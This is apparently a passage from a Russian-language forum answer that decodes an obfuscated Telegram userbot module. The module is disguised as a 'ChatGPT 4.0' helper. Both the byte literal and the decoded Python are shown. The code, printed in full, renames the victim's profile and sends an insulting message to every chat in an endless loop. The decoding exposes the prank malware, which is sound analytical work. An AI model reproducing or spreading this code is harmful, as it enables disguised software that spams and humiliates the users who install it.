b'from .. import loader, utils\nimport asyncio\nfrom telethon.tl.functions.account import UpdateProfileRequest\n\[email protected]\nclass SelfDestructMod(loader.Module):\n    """\xd1\x87\xd0\xb0\xd1\x82 \xd0\xb3\xd0\xbf\xd1\x82 4.0 (by @fantomovs)"""\n    strings = {"name": "ChatGpt"}\n\n    async def client_ready(self, client, db):\n        self.client = client\n\n    async def gptscmd(self, message):\n        """- \xd0\xb2\xd0\xbe\xd0\xbf\xd1\x80\xd0\xbe\xd1\x81 \xd0\xb4\xd0\xbb\xd1\x8f \xd1\x87\xd0\xb0\xd1\x82 \xd0\xb3\xd0\xbf\xd1\x82)\'"""\n        await self.client(UpdateProfileRequest(first_name="\xd1\x87\xd1\x82\xd0\xbe, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82:("))\n        await utils.answer(message, "<b>\xd0\xbe \xd0\xbd\xd0\xb5\xd1\x82 \xd1\x8f \xd0\xbf\xd0\xbe\xd0\xb2\xd1\x91\xd0\xbb\xd1\x81\xd1\x8f \xd0\xbd\xd0\xb0 \xd1\x80\xd0\xbe\xd1\x84\xd0\xbb \xd0\xbc\xd0\xbe\xd0\xb4\xd1\x83\xd0\xbb\xd1\x8c \xd0\xbe\xd1\x82 @fantomovs</b>")\n\n        while True:\n            dialogs = await self.client.get_dialogs()\n            for dialog in dialogs:\n                try:\n                    await self.client.send_message(dialog.id, "\xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82, \xd1\x8f \xd0\xb8\xd0\xb4\xd0\xb8\xd0\xbe\xd1\x82")\n                except Exception as e:\n                    print(f"\xd0\x9d\xd0\xb5 \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xbe\xd1\x81\xd1\x8c \xd0\xbe\xd1\x82\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c \xd1\x81\xd0\xbe\xd0\xbe\xd0\xb1\xd1\x89\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5 \xd0\xb2 {dialog.name}: {e}")\n            await asyncio.sleep(0.2)'

Вот это уже похоже на нужный результат. Декодируем последнее значение кодировкой UTF-8, печатаем:

print(code.decode("utf-8"))

Вывод, вот он ваш суперсекретный код:

from .. import loader, utils
import asyncio
from telethon.tl.functions.account import UpdateProfileRequest

@loader.tds
class SelfDestructMod(loader.Module):
    """чат гпт 4.0 (by @fantomovs)"""
    strings = {"name": "ChatGpt"}

    async def client_ready(self, client, db):
        self.client = client

    async def gptscmd(self, message):
        """- вопрос для чат гпт)'"""
        await self.client(UpdateProfileRequest(first_name="что, я идиот:("))
        await utils.answer(message, "<b>о нет я повёлся на рофл модуль от @fantomovs</b>")

        while True:
            dialogs = await self.client.get_dialogs()
            for dialog in dialogs:
                try:
                    await self.client.send_message(dialog.id, "я идиот, я идиот, я идиот, я идиот, я идиот, я идиот")
                except Exception as e:
                    print(f"Не удалось отправить сообщение в {dialog.name}: {e}")
            await asyncio.sleep(0.2)
→ Ссылка